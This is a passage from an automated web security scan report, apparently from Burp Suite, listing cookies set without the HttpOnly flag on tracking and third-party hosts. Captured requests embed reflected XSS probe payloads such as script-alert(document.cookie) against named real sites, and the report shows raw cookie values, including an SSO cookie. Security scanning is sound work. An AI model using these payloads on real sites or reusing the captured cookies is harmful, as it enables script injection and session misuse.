Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0yNjA1MzY0MzY4LjMwMTI2NDkyAAAAAAAHAAAAtXsAAGwfLU1MHy1N4LYAANfxQk3H8UJNZuAAALAkRE2vJERNoPEAAIycRU2MnEVND6gAANjTSU3Y00lNDqgAAMzNSk1Hy0pNDroAAMPOSk3CzkpNBgAAAF4zAABsHy1NTB8tTQtFAADX8UJNx/FCTUtLAACwJERNryRETWpLAACMnEVNjJxFTcJBAADMzUpNR8tKTUkfAADDzkpNws5KTQAAAAA-

Response

HTTP/1.1 303 Object Moved
Connection: close
Date: Sat, 05 Feb 2011 22:34:51 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: /dcsjpsizt10000o69qvsmy5ls_9m8u/dcs.gif?dcsredirect=126&dcstlh=0&dcstlv=0&dcsdat=1296944076898&dcssip=www.pointehilton.com&dcsuri=/&dcsqry=%3F1e6b8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9146d6140e3=1&dcsref=http://burp/show/17&WT.co_f=173.193.214.243-2605364368.30126492&WT.vt_sid=173.193.214.243-2605364368.30126492.1296944076900&WT.vt_f_tlv=0&WT.tz=-6&WT.bh=16&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=Phoenix%20All%20Suites%20Hotel%20|%20Pointe%20Hilton%20Resorts%20|%20Phoenix,%20Arizona&WT.js=Yes&WT.jv=1.5&WT.ct=unknown&WT.bs=985x1012&WT.fv=10.1&WT.slv=Unknown&WT.tv=8.5.0&WT.dl=0&WT.ssl=0&WT.es=www.pointehilton.com/&WT.pn_sku=cluster&WT.tx_e=v&WT.tx_u=1&WT.z_brand=Hilton&WT.zsitetype=L&WT.cg_n=home&WT.vt_f_tlh=0&WT.vt_f_d=1&WT.vt_f_s=1&WT.vt_f_a=1&WT.vt_f=1
Content-Length: 0
Set-Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0yNjA1MzY0MzY4LjMwMTI2NDkyAAAAAAAIAAAAtXsAAGwfLU1MHy1N4LYAANfxQk3H8UJNZuAAALAkRE2vJERNoPEAAIycRU2MnEVND6gAANjTSU3Y00lNDqgAAMzNSk1Hy0pNDroAAMPOSk3CzkpNY+UAAIvQTU2L0E1NBwAAAF4zAABsHy1NTB8tTQtFAADX8UJNx/FCTUtLAACwJERNryRETWpLAACMnEVNjJxFTcJBAADMzUpNR8tKTUkfAADDzkpNws5KTV0eAACL0E1Ni9BNTQAAAAA-; path=/; expires=Thu, 10-Dec-2015 10:27:34 GMT
P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"

15.313. http://survey.questionmarket.com/noauth/ktag_log.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://survey.questionmarket.com
Path:	/noauth/ktag_log.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_tvswfz-iuuq=445836713660;Version=1;Max-Age=1200;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /noauth/ktag_log.php?envelope_id=478&survey_num=852910&site_num=8&aicode=40051907 HTTP/1.1
Host: survey.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-1; ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-0

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:26:58 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Set-Cookie: NSC_tvswfz-iuuq=445836713660;Version=1;Max-Age=1200;path=/
Content-Length: 43

GIF89a.............!.......,...........D..;

15.314. http://tags.bluekai.com/site/2956 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/site/2956

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bk=Nk1GUZVZbt/sHNJo; expires=Thu, 04-Aug-2011 22:25:31 GMT; path=/; domain=.bluekai.com
bkc=KJh5Na+/asWDOdedfvbgt0GSw3EaaGuftAJDvkCJrDLwoMJ5/WonrkOvxVnVQ6UoYi/uqH9POWWl0aTWYlyGtCnS4mio/O9YKyAiPQiJyQ0i0pZpXXl7IP8ZIzcd7JA2l8kJCTW4CHRmFqP+Y6YSdBNyjyYKEd39rECyf8htpMe7kD2qK52hwPQWaBHRVc1tS4LhUX+I6QFCYzBzgd069JM391RF++QIUY+MfyonzN884a7KFXFUtDsXrLNrcJsK7BHKUxv6H06Xu0UL9wogtP2MWmjI0G2YxwD9DJPgJRKYfOLUovXq87gkRI8XdMf4SOzQ6XKIK6VfCIy4GA06pjk4M8+UpkYdSKo4D5ksdp4GInPCpiFw6Mp42xsChPS77FtZP8gp0M5o+LWiYdD8f4Vq/1h88SyffdTwt+Fe6LPjfH98muH2RkCbboqtYlv9bZ4w+lQKUuFB2N4ZKFT5gVCtlWVULKD6TIR57CXS87gkna6KgyHsnMUHdF6ojDXR8gp0P53wF4DVRguFhPQO575DZFwvbzvXatMd4JQdpZTbnJ6ycO7xc3wjq3UpIEKlpUkK2ZqelaIjhGaKXrzkwZVT6pYBhl1lFPXpOTelcf5TgiiH87gkAZnS8E/n6bAspT+OSzTgfbw2id4x7Q23NhMZFwJI2lklr6b82pdMNp8iIaKf5Gzd7XdTsrMX4/bc/2nlbbx4seTRLphdzd4FA0d47f67nmN4AWfE2NS8NetFtuPrgjwIXkmb4JUksK8I5Vt/K68KkoboLGH4h3xg3bDqW2/feDKmSFXcOjxMIy==; expires=Thu, 04-Aug-2011 22:25:31 GMT; path=/; domain=.bluekai.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.315. http://tools.cisco.com/search/display previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tools.cisco.com
Path:	/search/display

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ObSSOCookie=1SE5m4RRpyYNhnA4oJZJxj%2BSMzK6F3XwL8B27BRJEcVG1lg2KJurQkJvqqMGNrjZswcOjn%2BCBzqcNUTtEXpw2OaYziYkUfPB5F7jqDWb1Y9RkV1WL6URJr5R9S4F%2BJU%2FS6JoqvhVX2Ln%2FNlK8l2PzPOrhbDAxVICEn%2FmpbWAcFz4uJzaRKB3rkwq0SOYEfSqxMY7%2BcM8b8T%2FznZb3LiZ%2BXbSmT%2FboKmiG6KvGoxh2MArQilwNMyRTYZbIeCMneul499k7Qx4O8xq7Me2WCVlD8bt6Gk4l9yliurqm2FOru%2FHspPRl0KULWebhlCI6PgCh5ZgS9ZEu743ixEAozi%2Fj9EAv7079vkP3hSOOICl8zMZTFKHy8D3nfx05quJneD0; path=/; domain=.cisco.com;
CP_GUTC=173.193.214.243.1296942770034523; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com
CP_GUTC=72.163.4.56.1296942770063012; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /search/display HTTP/1.1
Host: tools.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.316. http://track2.mybloglog.com/js/jsserv.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://track2.mybloglog.com
Path:	/js/jsserv.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

BX=7rv9lsd6krhcf&b=3&s=je; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.mybloglog.com
mbl_sid=N2011020513475974; expires=Sun, 05-Feb-2012 21:47:59 GMT; path=/; domain=.mybloglog.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.317. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit29860=29860; expires=Sun, 06-Feb-2011 16:40:31 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit29860=29860; expires=Sun, 06-Feb-2011 16:10:36 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=29860&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/64&url=http%3A//www.kledy.co.uk/%3Fb6885%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E58b3310da99%3D1&title=Kledy.co.uk%20-%20Social%20News%20%7C%20Social%20Bookmarking HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:31 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit29860=29860; expires=Sun, 06-Feb-2011 16:40:31 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit29860=29860; expires=Sun, 06-Feb-2011 16:10:36 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Set-Cookie: SERVERID=C; path=/
Cache-control: private
Content-Length: 0

15.318. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit33505=33505; expires=Sun, 06-Feb-2011 16:41:53 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit33505=33505; expires=Sun, 06-Feb-2011 16:11:58 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=33505&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/65&url=http%3A//www.kledy.es/%3Fbc891%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E5d09625540c%3D1&title=K%uFEFFl%uFEFFe%uFEFFd%uFEFFy%uFEFF.%uFEFFe%uFEFFs%20-%20Social%20News%20%7C%20Social%20Bookmarking HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A; blogtracker_visit29860=29860

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:53 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit33505=33505; expires=Sun, 06-Feb-2011 16:41:53 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit33505=33505; expires=Sun, 06-Feb-2011 16:11:58 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.319. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit36342=36342; expires=Sun, 06-Feb-2011 17:44:19 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit36342=36342; expires=Sun, 06-Feb-2011 17:14:24 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=36342&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/96&url=http%3A//www.peppernews.eu/%3Fd7d65%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253Ef6336f06cd4%3D1&title=Pressemitteilung%20kostenlos%20ver%F6ffentlichen%20%7C%20PR-Portal HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef6336f06cd4=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A; blogtracker_visit34638=34638

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:14:19 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit36342=36342; expires=Sun, 06-Feb-2011 17:44:19 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit36342=36342; expires=Sun, 06-Feb-2011 17:14:24 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.320. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit33506=33506; expires=Sun, 06-Feb-2011 16:45:33 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit33506=33506; expires=Sun, 06-Feb-2011 16:15:38 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=33506&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/67&url=http%3A//www.kledy.it/%3F44921%2522%253E%253Cscript%253Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%253C/script%253E107b665304c%3D1&title=Kledy.it%20-%20Social%20News%20%7C%20Social%20Network HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A; blogtracker_visit29860=29860; blogtracker_visit33505=33505; blogtracker_visit37589=37589; blogtracker_visit40155=40155

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:33 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit33506=33506; expires=Sun, 06-Feb-2011 16:45:33 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit33506=33506; expires=Sun, 06-Feb-2011 16:15:38 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.321. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit37589=37589; expires=Sun, 06-Feb-2011 16:44:45 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit37589=37589; expires=Sun, 06-Feb-2011 16:14:50 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=37589&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/66&url=http%3A//www.kledy.eu/%3Ff0d30%2522%253E%253Cscript%253Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%253C/script%253E31ed3e6c6d3%3D1&title=Kledy.eu%20-%20Homepage%20Kostenlos%20Anmelden HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.eu/?f0d30%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31ed3e6c6d3=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A; blogtracker_visit29860=29860; blogtracker_visit33505=33505

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:45 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit37589=37589; expires=Sun, 06-Feb-2011 16:44:45 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit37589=37589; expires=Sun, 06-Feb-2011 16:14:50 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.322. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit40131=40131; expires=Sun, 06-Feb-2011 18:54:16 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit40131=40131; expires=Sun, 06-Feb-2011 18:24:21 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=40131&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/99&url=http%3A//www.spiele365.com/%3F24997%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E8c1d99e1e7c%3D1&title=Online%20Spiele%20Kostenlos%20Spielen%20-%20auf%20Spiele365.com HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.spiele365.com/?24997%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8c1d99e1e7c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 18:24:16 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit40131=40131; expires=Sun, 06-Feb-2011 18:54:16 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit40131=40131; expires=Sun, 06-Feb-2011 18:24:21 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.323. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit14344=14344; expires=Sat, 05-Feb-2011 23:37:32 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit14344=14344; expires=Sat, 05-Feb-2011 23:07:37 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=14344&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/34&url=http%3A//www.kledy.de/bookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253Eef67307aec5%3D1&title=Kledy.de%20-%20Bookmark%20%7C%20News%20%7C%20Videos%20%7C%20Bilder HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=B

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:07:32 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit14344=14344; expires=Sat, 05-Feb-2011 23:37:32 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit14344=14344; expires=Sat, 05-Feb-2011 23:07:37 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.324. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit29861=29861; expires=Sun, 06-Feb-2011 16:46:09 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit29861=29861; expires=Sun, 06-Feb-2011 16:16:14 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=29861&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/68&url=http%3A//www.kledy.us/%3F88099%2522%253E%253Cscript%253Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%253C/script%253E31a8b6ec06f%3D1&title=Kledy.us%20-%20Social%20News%20%7C%20Social%20Bookmarking HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A; blogtracker_visit29860=29860; blogtracker_visit33505=33505; blogtracker_visit37589=37589; blogtracker_visit40155=40155; blogtracker_visit33506=33506

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:09 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit29861=29861; expires=Sun, 06-Feb-2011 16:46:09 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit29861=29861; expires=Sun, 06-Feb-2011 16:16:14 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.325. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit34638=34638; expires=Sun, 06-Feb-2011 17:34:07 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit34638=34638; expires=Sun, 06-Feb-2011 17:04:12 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=34638&src=js&resx=1920&resy=1200&referer=http%3A//burp/show/90&url=http%3A//www.shoppinga.de/%3Fbd2d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253Ee3b5e976e9e%3D1&title=Auf%20Rechnung%20Kaufen%20%7C%20Bestellen%20Auf%20Rechnung%20-%20Online%20Shopping HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.shoppinga.de/?bd2d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee3b5e976e9e=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:04:07 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit34638=34638; expires=Sun, 06-Feb-2011 17:34:07 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit34638=34638; expires=Sun, 06-Feb-2011 17:04:12 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.326. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

blogtracker_visit40155=40155; expires=Sun, 06-Feb-2011 16:44:50 GMT; path=/; domain=tracker.icerocket.com
blogtracker_hit40155=40155; expires=Sun, 06-Feb-2011 16:14:55 GMT; path=/; domain=tracker.icerocket.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /services/gatherer.php?project_id=40155&src=js&resx=1920&resy=1200&referer=http%3A//www.kledy.eu/%3Ff0d30%2522%253E%253Cscript%253Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%253C/script%253E31ed3e6c6d3%3D1&url=http%3A//www.chattino.com/&title=ChatRoulette%20WebCam%20Chat%20-%20Chattino.com HTTP/1.1
Host: tracker.icerocket.com
Proxy-Connection: keep-alive
Referer: http://www.chattino.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SERVERID=A; blogtracker_visit29860=29860; blogtracker_visit33505=33505; blogtracker_visit37589=37589

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:50 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Set-Cookie: blogtracker_visit40155=40155; expires=Sun, 06-Feb-2011 16:44:50 GMT; path=/; domain=tracker.icerocket.com
Set-Cookie: blogtracker_hit40155=40155; expires=Sun, 06-Feb-2011 16:14:55 GMT; path=/; domain=tracker.icerocket.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

15.327. http://tweetmeme.com/story/3866851775/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tweetmeme.com
Path:	/story/3866851775/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

